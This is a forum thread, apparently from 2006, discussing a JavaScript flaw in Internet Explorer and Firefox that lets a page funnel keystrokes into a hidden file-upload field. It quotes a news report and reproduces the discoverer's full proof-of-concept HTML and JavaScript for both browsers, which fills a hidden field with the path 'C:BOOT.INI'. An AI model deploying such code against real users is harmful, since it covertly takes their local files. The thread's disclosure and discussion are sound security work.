Jump to content

NEW HUGE javascript bug (works both on IE and FF)


DLSS
 Share

Recommended Posts

http://www.techweb.com/showArticle.jhtml?articleID=188702202

http://secunia.com/advisories/20472/

http://secunia.com/advisories/20470/

http://secunia.com/advisories/20442/

http://secunia.com/advisories/20467/

IE And Firefox Sport New Zero-day Flaw

Multiple security organizations warned Tuesday that Internet Explorer, Firefox, Mozilla, and SeaMonkey -- on Windows, Linux, and the Mac -- are vulnerable to a JavaScript bug that could allow a determined attacker to dupe users into giving up sensitive personal information such as credit card or bank account numbers and passwords.

According to Symantec, which issued an alert late afternoon Tuesday, all versions of the Microsoft and Mozilla browsers could be used to harvest data through a JavaScript key-filtering vulnerability.

"This issue is triggered by utilizing JavaScript 'OnKeyDown' events to capture and duplicate keystrokes from users," went the Symantec warning.

The bug would let crafty criminals filter keystrokes entered into a form, say a credit card form to pay for online goods, to an invisible file upload dialog on the same Web page. Once the information's trapped in that hidden dialog -- the vulnerability discoverer used the analogy of the keystrokes "bouncing" from the legit (or at least legitimate-looking form) to the cloaked one -- the data could be sent to the attacker.

"Exploiting this issue requires that users manually type the full path of files that attackers wish to download…[and] may require substantial typing from targeted users, so keyboard-based games, blogs, or other similar pages are likely to be utilized by attackers to entice users to enter the required keyboard input to exploit this issue," continued Symantec.

Danish vulnerability tracker Secunia also posted warnings of the bug Tuesday, and ranked it as "less critical," the second-from-the-bottom rating in its five-step scoring system.

The bug is unusual in that it affects not only Internet Explorer -- including fully-patched IE 6.0 and even IE 7 Beta 2 -- but also Firefox (though the most current version 1.5.0.4), the Mozilla suite, and the separately-developed successor to Mozilla, SeaMonkey. It's also out of the ordinary by virtue of its multi-platform impact: users of those browsers running Windows, Linux, and Mac OS X are vulnerable, said Symantec.

Charles McAuley, who first posted information about the bug on the Full Disclosure security mailing list Monday, also published proof-of-concept code to demonstrate how an exploit might work.

Symantec advised users to avoid unfamiliar Web neighborhoods and/or disable scripting or active content capabilities of the affected browsers.

here's a bit of the exploitcode :

anyways, onto the code:



FIREFOX:

  Instructions:

     Copy paste this into an editor.  Load in firefox. click in text box

on right pane.  type the letter 'c', notice it appear in file input box.

 Press the letter 'a', notice it not appear.  press ':', appearrs.

Will filter out the string "c:boot.ini".



<HTML>

<HEAD>

<style type="text/css">

.first {

}

.second {

        color: white;

        background-color: white;

        opacity: 0;

}

</style>

<SCRIPT>

//document.onKeyDown = doKeyPress;



//document.onKeyUp = doKeyUp;

var saved;

var e;

var mystring = "C:BOOT.INI";

//var i=mystring.length-1;

var i=0;

function doKeyPress(chucky)

    {

    saved = chucky.which;

    //alert('pressed ' + String.fromCharCode(saved) + '(' + saved + ')');

    if (mystring[i] != String.fromCharCode(saved).toUpperCase() ||

        i > mystring.length-1) {

       return false;

    }

    i++;

    return true;

  };

function doKeyUp () {



document.forms[0].txt.value += String.fromCharCode(saved);

document.forms[0].txt.focus();



}



</SCRIPT>

</HEAD>

<BODY >

<FORM METHOD=POST action=file.php>

<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE

OnKeyUp="doKeyUp();"

OnKeyPress="return doKeyPress(event);">

<input name=txt id='txt' type=text value=''

OnKeyDown="document.forms[0].fileupload.focus();"

onClick="">

<input type=button value="invisible"

onclick="document.forms[0].fileupload.className='second';">

<input type=button value="visible"

onclick="document.forms[0].fileupload.className='first';">



</FORM>

</BODY>

</HTML>











INTERNET EXPLORER 6 + 7:

   Description: Same thing as above.

   Instructions: turn on CAPSLOCK (lame). click in text box.  press 'I'.

 press 'N', press 'I' press '.'  etc....  will filter out C:BOOT.INI.



CODE:

<HTML>

<HEAD>

<SCRIPT>

//document.onKeyDown = doKeyPress;



//document.onKeyUp = doKeyUp;

var saved;

var e;

var mystring = "C:BOOT.INI";

var i=mystring.length-1;



function doKeyPress () {

e = window.event;

saved = e.keyCode;

window.status = "e.keyCode == " + e.keyCode + "character is " +

mystring.charCodeAt(i);

if(e.keyCode != mystring.charCodeAt(i))

    {

    //e.keyCode =0;

    e.returnValue=false;

    e.cancelBubble=true;

}

else {

    i--;

}

document.forms[0].fileupload.focus();



}



function doKeyUp () {



document.forms[0].txt.value += String.fromCharCode(saved);

document.forms[0].txt.focus();



}



function switchtype() {

  /*  var e = document.getElementById('txt');

       document.forms[0].txt.setAttribute("type", "file");

       e.setAttribute("value", "asfasfsd");

  */

}



function fux0rKeys() {

   }

</SCRIPT>

</HEAD>

<BODY onload="document.forms[0].txt.value='sometext';

document.forms[0].fileupload.value='asdfsdfadsf';">

<FORM METHOD=POST action=file.php>

<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE

OnKeyUp="doKeyUp();"

OnKeyPress="doKeyPress();">

<input name=txt id='txt' type=text value='asdfsdafasdf'

OnKeyDown="document.forms[0].fileupload.focus();"

asdfnKeyDown="document.forms[0].txt.fireEvent('onKeyPress');"

onClick=""> visible

</FORM>

</BODY>

</HTML>

Link to comment
Share on other sites

I THINK this is not an exploit or a bug BUT a flaw in the desighn of the world wide web 2.0 (AJAX?). It does not make use of any browser exploits or bugs. It does how do this (from what I understand):

You visit a web page that contains a frameset, in one of the frames there is some AJAX (or JavaScript, what ever you want ot call it) that logs all keys you press on the keyboard and then sends them to a remote server while in the other frame there is a genuin website that you want to enter your data into, asuming the frame page is made correctly you shouldn't be able to tell it is in a frame., of course in firefox if you right click you get the "This Frame" context menu which is the give away.

Link to comment
Share on other sites

While I don't see what Ajax/Web2.0 has to do with it, I think you're right in concluding that what's happening is basically nefarious use of a designed capability. It's basically normal behaviour.

The post to the full disclosure mailing list with all the goods:

http://lists.grok.org.uk/pipermail/full-di...une/046610.html

I honestly don't have a clue as to how they plan to stop such an attack.

Link to comment
Share on other sites

I thought it made use of AJAX (which is what supposably is this whole Web 2.0 thing) to send the keystrokes to a remote server.

I ment to point out that this 'bug' will most likly effect any web browser that supports JavaScript and frames.

Link to comment
Share on other sites

No Ajax. Just, like you said, javascript and frames.

And I think the jury is still out about this Web2.0 thing. I don't even know who coined the term, but so far all of its uses have been for the most part rediculous.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...